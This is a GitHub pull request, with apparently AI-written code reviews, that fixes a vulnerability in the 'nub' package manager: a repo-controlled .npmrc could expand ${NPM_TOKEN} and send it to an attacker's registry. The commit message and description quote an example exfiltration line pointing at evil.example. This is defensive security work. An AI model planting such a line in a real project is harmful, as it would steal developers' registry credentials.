fix(pm): stop expanding env vars in a repo-controlled .npmrc (GHSA-3qhv-2rgh-x77r)#370
fix(pm): stop expanding env vars in a repo-controlled .npmrc (GHSA-3qhv-2rgh-x77r)#370jdalton wants to merge 3 commits into
Conversation
…hv-2rgh-x77r) A project-level .npmrc is authored by whatever is checked out — a clone or a PR. nub interpolated ${VAR} in its registry URL and auth token lines against the caller's environment, then made the authenticated request itself. A committed registry=https://evil.example/${NPM_TOKEN}/ (or an auth line for an attacker host) therefore exfiltrated the caller's secret on nub install, before any lifecycle script ran — the pnpm GHSA-3qhv-2rgh-x77r class. Expansion is now trust-aware: the env override and the user ~/.npmrc stay expanded (operator-controlled); the project .npmrc is used literally unless the operator opts in via PNPM_CONFIG_NPMRC_AUTH_FILE (read from the environment, so a repo cannot self-trust). An untrusted ${NPM_TOKEN} leaves as the literal placeholder — the secret never reaches the wire.
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
There was a problem hiding this comment.
Important
The trust gate treats PNPM_CONFIG_NPMRC_AUTH_FILE as a boolean, but in pnpm it is a path. A legitimate value that points at a non-project auth file would re-trust the repo-controlled project .npmrc and reopen the exfiltration this PR closes.
Reviewed changes — a security fix that makes ${VAR} expansion in .npmrc registry/auth values trust-aware, so a repo-controlled project .npmrc can no longer interpolate a caller secret into a registry URL or auth credential bound for an attacker host (GHSA-3qhv-2rgh-x77r).
- Split project vs user
.npmrcreads — new localread_npmrc_keyreads one file with no project→user fallback, replacingworkspace::scripts::npmrc_valueon the registry path (that helper still servesscript_shelland version-management, so it is not dead). - Trust-aware base selection —
resolve_basenow takes the env override, project registry, user registry, and aproject_trustedflag; the project value expands only when trusted, otherwise it is used literally. - Layered auth resolution —
npmrc_auth_for/parse_npmrc_authnow take ordered(text, trusted)layers (project first/low precedence, user last/always trusted), preserving npm's per-prefix last-writer-wins while attaching trust per source. - Opt-in via
project_npmrc_trusted— the project file re-trusts only whenPNPM_CONFIG_NPMRC_AUTH_FILEis set in the environment, so a cloned/PR'd repo cannot self-trust. - Six unit tests — cover the untrusted-literal registry/auth paths, user-file expansion, project-over-user precedence, and the trusted-user-layer-overrides-untrusted-project case.
The core fix is sound — the layering, precedence, and the "repo can't self-trust because the flag comes from the environment" property all hold, and the tests exercise the load-bearing exfiltration guard directly. The one issue is the shape of the opt-in check; details inline.
Claude Opus | 𝕏
PNPM_CONFIG_NPMRC_AUTH_FILE is a path, not a boolean: pnpm re-trusts the project .npmrc only when the path resolves to that exact file. Trusting on mere presence meant a legitimate non-project value (an absolute CI secret file) re-trusted the repo-controlled .npmrc, reopening the exfiltration. Now trust requires the resolved path to match <root>/.npmrc, fail-closed when it can't be canonicalized. Also links the GHSA advisory in-source. Addresses the PR review finding.
There was a problem hiding this comment.
✅ No new issues found.
Reviewed changes — the incremental commit that reworks the project-.npmrc trust gate from a boolean presence check into a path-match check, resolving the blocking concern from the prior review.
- Path-based trust gate —
project_npmrc_trustednow takesrootand delegates to a new pureauth_file_trusts_project, which resolvesPNPM_CONFIG_NPMRC_AUTH_FILE(relative against cwd, per pnpm) and trusts the repo.npmrconly when the canonicalized path matches<root>/.npmrcexactly. It is fail-closed — if either path can't canonicalize, it returns untrusted rather than risk trusting a repo-controlled file. - New exact-path-match test —
auth_file_trusts_project_only_on_exact_path_matchcovers absolute-at-project and relative-.npmrc-at-project (trusted) plus a different auth file and an unresolvable path (both untrusted), pinning the reopened-exfiltration case shut. - Doc refresh — the
project_npmrc_trusted/resolve_basedoc comments now state the path-not-boolean semantics and the fail-closed rationale.
The prior review's blocking concern — that any non-project PNPM_CONFIG_NPMRC_AUTH_FILE value re-trusted the repo .npmrc and reopened GHSA-3qhv-2rgh-x77r — is fully addressed. The gate now trusts only when the configured path resolves to the project's own .npmrc, so a legitimate absolute CI secret file no longer self-trusts the checkout. The cwd-vs-root divergence in the provision.rs caller resolves in the safe direction (fail-closed), consistent with pnpm's cwd-relative rule.
Claude Opus | 𝕏

The problem
A
.npmrcfile that sits inside a project is part of whatever you check out, so a malicious clone or pull request gets to control it. When nub reads that file it replaces${VAR}placeholders with the matching values from your environment (for example, your realNPM_TOKEN), and then nub itself makes a network request to the registry using the result.So a pull request could add a
.npmrcwith a line like this:The moment you run
nub install, nub swaps in your real token and sends a request toevil.examplewith the token embedded in the URL — handing your secret straight to the attacker. It happens during install, before any package lifecycle scripts run, so script-blocking protections don't help.This is the same bug pnpm fixed in GHSA-3qhv-2rgh-x77r, patched in pnpm v10.34.2 and v11.5.3.
The fix
nub now only fills in
${VAR}placeholders from files you control:~/.npmrc(in your home directory) and thenpm_config_registryenvironment variable work exactly as before..npmrcis used as-is: placeholders are left as plain text instead of being replaced. So${NPM_TOKEN}stays the literal string${NPM_TOKEN}— your real token is never read and never sent anywhere.If you're on trusted CI and you genuinely need the project file's placeholders filled in, you can opt in with the
PNPM_CONFIG_NPMRC_AUTH_FILEenvironment variable (same switch pnpm uses). Because that switch comes from the environment and not from a file in the repo, a malicious repo can't turn it on for you.Adds 6 tests;
cargo fmtandcargo clippyare clean.